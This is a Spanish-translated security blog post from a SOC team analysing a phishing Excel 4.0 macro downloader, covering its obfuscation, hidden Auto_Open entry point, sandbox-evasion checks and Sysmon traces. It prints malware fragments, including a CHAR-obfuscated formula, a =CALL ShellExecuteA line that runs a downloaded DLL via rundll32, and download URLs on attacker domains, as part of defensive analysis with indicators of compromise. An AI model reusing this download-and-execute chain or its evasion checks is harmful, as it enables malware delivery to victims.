Everyday Life Tinkoff Security Operations Center: análisis de cargador de arranque único

Hola Habr!

En nuestro Centro de operaciones de seguridad de Tinkoff, analizamos regularmente las técnicas utilizadas en malware y ataques, y recientemente encontramos un archivo interesante del que nos gustaría hablar.

imagen

La técnica que se usó para crear esta obra maestra se conoce desde hace más de 20 años, pero incluso décadas después sigue siendo relevante, ya que las llamadas de algunos controles en la macro no son sospechosas y pueden usarse en documentos legítimos. Este es un descargador de malware escrito en macros de Excel 4.0.

Herramientas


Como parte del análisis, utilizaremos herramientas de terceros al mínimo y nos las arreglaremos con un conjunto estándar de programas:

  • Microsoft Office Suite
  • archivero
  • editor de texto;
  • como herramienta para analizar acciones de software, usaremos Sysmon;
  • Como entorno para el análisis, utilizaremos una VM con Windows 7 a bordo

Mnogabukaf


El documento que vamos a analizar es un libro de Excel en formato xls. El malware se entrega en correos electrónicos de phishing, cuando se inicia el documento, la macro descarga la rama del registro, descarga información sobre las actualizaciones de Office desde el sitio web de Microsoft y también descarga y lanza .dll malicioso. Después de estos pasos, el libro se cierra sin guardar los cambios.

La principal diferencia con otros cargadores de este tipo es que no utiliza macros VBA.

Análisis estático


El siguiente es un ejemplo de un correo electrónico que contiene un documento malicioso.



Abra el archivo adjunto en nuestra máquina virtual.

Debe prestar atención de inmediato: la imagen advierte que el documento está "protegido" y vale la pena abrirlo localmente y hacer clic en "habilitar contenido":



una advertencia de seguridad sugiere que debe mirar los proyectos en el Editor de Visual Basic.

Nos dirigimos al desarrollador: gestión de macros (vbs), pero no vemos macros vbs o vba:



este es el momento de recordar qué son los documentos de Office.

Cada documento de Microsoft Office es un archivo que se puede descomprimir usando cualquier archivador, extrayendo el contenido del documento:



Después de desempaquetar, vemos que dentro de los documentos no hay archivos xml que estamos acostumbrados a ver, la cosa está en el formato de documento anterior - xls.

En la extensión xls, el contenido no se almacena en formato Office Open XML, sino en formato binario BIFF8. El documento utiliza la macro de Excel 4.0, donde las macros se pueden ejecutar en las celdas del documento.

Vale la pena señalar que la hoja con la macro no está oculta, pero la hoja tiene una gran cantidad de celdas vacías, lo que dificulta el análisis.

Hay herramientas para analizar archivos BIFF8, ​​por ejemplo BiffViewer, y para analizar contenido hay una gran herramienta: los oletools. Pero intentaremos hacerlo sin utilizar utilidades de terceros.

Excel también tiene un formato basado en xml - xlsm, puede guardar el código de macro VBA y las hojas de macro de Excel 4.0 en él, lo que haremos.
La lista completa de formatos disponibles para Excel es formatos de Excel .

Guardamos nuestro documento, lo descomprimimos:



veamos qué hay en los archivos, comencemos con el directorio de macrosheets en la carpeta xl y busquemos el archivo con todos los datos en la hoja de macro:



así, obtenemos todos los valores en las celdas de la hoja de macro. La macro en sí está ofuscada, las celdas contienen solo valores numéricos y fórmulas que convierten estos valores y escriben el resultado en nuevas celdas.

Por ejemplo, en esta fórmula, los valores numéricos se convierten en caracteres, se concatenan y se escriben en la celda FK17653.

Formula en excel
FORMULA.FILL(CHAR(CV63675+HE4018)&CHAR(DG27830+HE26544)&CHAR(IA33205-EW25294)&CHAR(X1216+BA26751)&CHAR(X1216*ER27642)&CHAR(EC50683*IA4491)&CHAR(CV63675*CQ12674)&CHAR(CV63675-IP35389)&CHAR(DL61540+AP31398)&CHAR(GB59870-IB5677)&CHAR(X1216+DS45768)&CHAR(GB59870+FV60781)&CHAR(AA45534*S4000)&CHAR(CV63675*FK10514)&CHAR(EC50683/GD6905)&CHAR(GB59870+EM58732)&CHAR(HQ31358-GI51882)&CHAR(X1216+FX24913)&CHAR(DL61540*EC63501)&CHAR(HQ31358-IC62223)&CHAR(X1216*BY50777)&CHAR(X1216*FY64649)&CHAR(G64471+DW7092)&CHAR(HQ31358-B26139)&CHAR(HQ31358/I494)&CHAR(G64471*DG37241)&CHAR(DL61540-ES39934)&CHAR(X1216+BX48975),FK17653)

Como resultado de la fórmula, obtenemos la siguiente línea:



cada comando de macro subsiguiente se "recopila" mediante una fórmula similar, se escribe en la celda y luego se ejecuta.

Para que la macro se ejecute automáticamente cuando se abre el documento, la celda desde la que se debe iniciar el script debe llamarse Auto_Open. Considere el archivo workbook.xml:

workbook.xml
<?xml version=«1.0» encoding=«UTF-8» standalone=«yes»?>
<workbook xmlns=«schemas.openxmlformats.org/spreadsheetml/2006/main» xmlns:r=«schemas.openxmlformats.org/officeDocument/2006/relationships» xmlns:mc=«schemas.openxmlformats.org/markup-compatibility/2006» mc:Ignorable=«x15» xmlns:x15=«schemas.microsoft.com/office/spreadsheetml/2010/11/main»> appName=«xl» lastEdited=«6» lowestEdited=«6» rupBuild=«14420»/><workbookPr/><mc:AlternateContent xmlns:mc=«schemas.openxmlformats.org/markup-compatibility/2006»> Requires=«x15»><x15ac:absPath url=«C:\Users\User\Desktop\malware\» xmlns:x15ac=«schemas.microsoft.com/office/spreadsheetml/2010/11/ac»/></mc:Choice></mc:AlternateContent>/><sheet name=«Sheet1» sheetId=«1» r:id=«rId1»/><sheet name=«Sheet2» sheetId=«2» r:id=«rId2»/>Sheet2!$IE$65406/>/>/>

Dentro del archivo encontramos el nombre de línea = "_ xlnm.Auto_OpenT8nee" hidden = "1"> Sheet2! $ IE $ 65406
Esto significa que la celda con la que se ejecuta la macro, IE65406, está oculta. Ahora sabemos el punto de entrada a la macro.

Análisis dinámico


Nunca ejecute archivos sospechosos en su máquina. Para estudiar las acciones de software sospechoso, es necesario utilizar un entorno especialmente preparado: varios entornos limitados o una máquina aislada especialmente preparada: virtual o de hierro.

Abra el documento y ejecute el contenido. La ventana del símbolo del sistema parpadea y el libro se cierra.
Veamos los registros de Sysmon.

Sysmon tiene un evento de creación de proceso (id 1), puede encontrar más información sobre Sysmon aquí .

Por los registros, vemos que la macro crea archivos en el directorio c: \ users \ public.

El siguiente es el mensaje sysmon, que muestra que la rama del registro está descargada y el resultado se escribe en el archivo:

Sysmon Event ID de evento 1
sysmon event id 1
Process Create:
RuleName: technique_id=T1112,technique_name=Modify Registry
ProcessGuid: {2a62482c-b244-5ecf-3a00-000000002700}
ProcessId: 3268
Image: C:\Windows\System32\reg.exe
FileVersion: 6.1.7600.16385 (win7_rtm.090713-1255)
Description: Registry Console Tool
Product: Microsoft Windows Operating System
Company: Microsoft Corporation
OriginalFileName: reg.exe
CommandLine: «C:\Windows\system32\reg.exe» EXPORT HKCU\Software\Microsoft\Office\16.0\Excel\Security C:\Users\Public\IcItdXw.reg /y"
CurrentDirectory: C:\Users\user\Documents\
User: user
LogonGuid: {2a62482c-b1d8-5ecf-3284-010000000000}
LogonId: 0x18432
TerminalSessionId: 1
IntegrityLevel: High
Hashes: SHA1=8BD131B03D6BA865B228CA8EE3239D2EF2B90B74,MD5=D69A9ABBB0D795F21995C2F48C1EB560,SHA256=36414C7E57AFA6136D77FD47F4C55102E35F2475FBCD719728DA7D14B1590E2A,IMPHASH=BC564726CFF18A49EBC14784593A51CA
ParentProcessGuid: {2a62482c-b23f-5ecf-3900-000000002700}
ParentProcessId: 3164
ParentImage: C:\Program Files\Microsoft Office\Office16\EXCEL.EXE
ParentCommandLine: «C:\Program Files\Microsoft Office\Office16\EXCEL.EXE»

Al finalizar, la macro elimina los archivos creados.

Para prohibir la eliminación de archivos, cambie los permisos en la carpeta, deje permisos de lectura y escritura y prohíba la eliminación:



ejecute el documento nuevamente, recibiremos un error durante la ejecución de la macro, lo que nos permitirá depurarlo.

Esto es posible porque no hay manejo de excepciones en algunas llamadas.





Ejecutemos la macro paso a paso; durante la depuración, encontramos llamadas a funciones de bibliotecas dll, como ShellExecute y URLDownloadToFile . Al completar la macro, los siguientes archivos estarán en la carpeta de usuarios compartidos:



Como conocemos la celda desde la cual comienza la ejecución, podemos completar todas las celdas en la hoja macro. Pasemos por la macro a la función de cierre (falso), donde interrumpiremos la ejecución haciendo clic en el botón "Pausa".

Celdas de control del entorno


Mirando a través de las celdas que llena la macro, nos encontramos con varias funciones get.window () y get.workspace ()

  • La función get.window () devuelve información sobre la ventana actual: estado, estado de la ventana, su nombre, opciones de visualización, etc.
  • La función get.workspace () le permite encontrar información sobre el entorno en el que se ejecuta el documento.

Puede encontrar una lista completa de llamadas disponibles para Excel 4.0 en los enlaces.

Aquí debemos analizar con más detalle: mi colega y yo sugerimos que la mayoría de estas llamadas están relacionadas con intentos de evitar los entornos limitados:

  • get.winow (7): comprueba si la ventana actual está oculta. Devuelve verdadero o falso.
  • get.windows (20): devuelve verdadero si la ventana está maximizada.
  • get.windows (23): puede devolver el valor 1, 2 y 3.



1 - restaurado
2 - minimizado
3 - maximizado

Por lo tanto, verifica si la ventana actual está abierta:

get.workspace (31) - verifica si la macro se está depurando en pasos.
get.workspace (13): comprueba el ancho del espacio de trabajo en píxeles: si es inferior a 770, el libro se cerrará



get.workspace (14): comprueba la altura del espacio de trabajo en píxeles: si es inferior a 390, el libro cerrará



get.workspace (19): comprueba La presencia de un ratón.
get.workspace (1): devuelve en qué sistema operativo se ejecuta el documento.
En el caso de falso, en cada cheque hay una transición a la celda de cierre del libro sin guardar el resultado.

Llamadas externas a la biblioteca


Después de verificar el entorno, pasamos a la funcionalidad principal. Veamos cómo se llaman las funciones WinAPI desde la macro:

1. La llamada reg.exe, que vimos en los registros de Sysmon.



Para llamar a la utilidad, se utiliza la función ShellExecute de la biblioteca shell32.dll, los parámetros para la función se encuentran dispersos en otras celdas.

Celda BN16631:



Celda A46097:



en la celda GN47559, se envía el comando para exportar la rama de registro necesaria, Get.workspace (2) devuelve la versión de Excel.



La celda DX48821 contiene la ruta donde se escribe el resultado.



Además, en la macro se verifica la existencia del archivo IcltdXw.reg creado y su eliminación.

2. Llamando a la función URLDownloadToFile. Esta función guarda el resultado de una solicitud de obtención en un archivo.
La llamada es la siguiente:



Esta llamada nos lleva al sitio web de Microsoft, a la página con información sobre las actualizaciones de Office.

Parámetros de función:

Celda BR6547



Celda IN49847



Después de ejecutar la instrucción, se verifica si el archivo fue creado, y también la lectura del carácter por el desplazamiento en el archivo:



Lo más probable es que estas acciones tengan como objetivo verificar si el entorno donde se está ejecutando el documento tiene acceso a Internet.

En la fórmula, la función ARCHIVOS se pasa a iserror y el argumento es el nombre del archivo donde se debe escribir el resultado de la función URLDownloadToFile: la



celda FM27223 le dará el control a la función de cierre del libro:



al recibir con éxito el archivo de Microsoft, las celdas se llenan para prepararse para la segunda llamada al urlmon dll.

Carga de carga


Y aquí está la segunda llamada, pero al dominio dehabadi [.] Ir, desde el cual se debe cargar la carga maliciosa:



el resultado se escribe en un archivo en la misma carpeta con la extensión html: a



continuación, encontramos una rama en el código macro si, en el primer intento de descargar la carga útil, falló, se realizará un segundo intento, pero desde una dirección diferente.

Si la descarga se realiza correctamente, aparecerá una ventana emergente de advertencia y se llamará a la biblioteca cargada.



La llamada completa es la siguiente:

=CALL("shell32","ShellExecuteA","JJCCJJ",0,"open","c:\windows\systemc32\rundll32.exe","c:\users\public\4hcFC.html,DllRegisterServer",0,5) 

En una llamada completa, la función ShellExecuteA se llama desde la biblioteca Shell32 con parámetros para iniciar rundll32, con el que se llama a la función exportada de la biblioteca maliciosa descargada.

Esto completa la función de macro, la carga útil está en funcionamiento.

Conclusión


Como se dijo, la tecnología es bastante antigua ( Excel 4.0 para Windows 3.0 y 3.1 ), pero proporciona completamente la funcionalidad que el malware necesita para lograr sus objetivos. Y el propósito de este archivo es colocar silenciosamente software peligroso en el sistema que pueda causar daños graves, comenzando por el robo de datos personales, datos de autorización para sistemas, terminando con corrupción / cifrado de datos en la computadora y la capacidad de ejecutar código de forma remota.

Para analizar dichos documentos, no es necesario utilizar utilidades y software especiales, sin embargo, vale la pena mencionar un conjunto de scripts de oletools; puede ver más detalles aquí . Terminaremos aquí, a continuación se muestran indicadores de compromiso identificados como resultado del análisis.

COI recibido:

evans [.] williamdmon [@] wp [.] pl
eleventalents [.] com
dehabadi [.] ir
hxxps: //eleventalents.com/wp-keys.php
hxxps: //dehabadi.ir/wp-keys.php
de88d3774ae006d96121d9b45efbf1ee
a73d1214740330013773cd733b0daf206eae2e03
ba4adb640f777ad9b0881919e9bd1e171e64025d97a37fd585295ab611653419

Una lista completa de indicadores de compromiso.

Referencias


Trabajó en el análisis:

Frolov Ilya
Kolenchuk Alexey

All Articles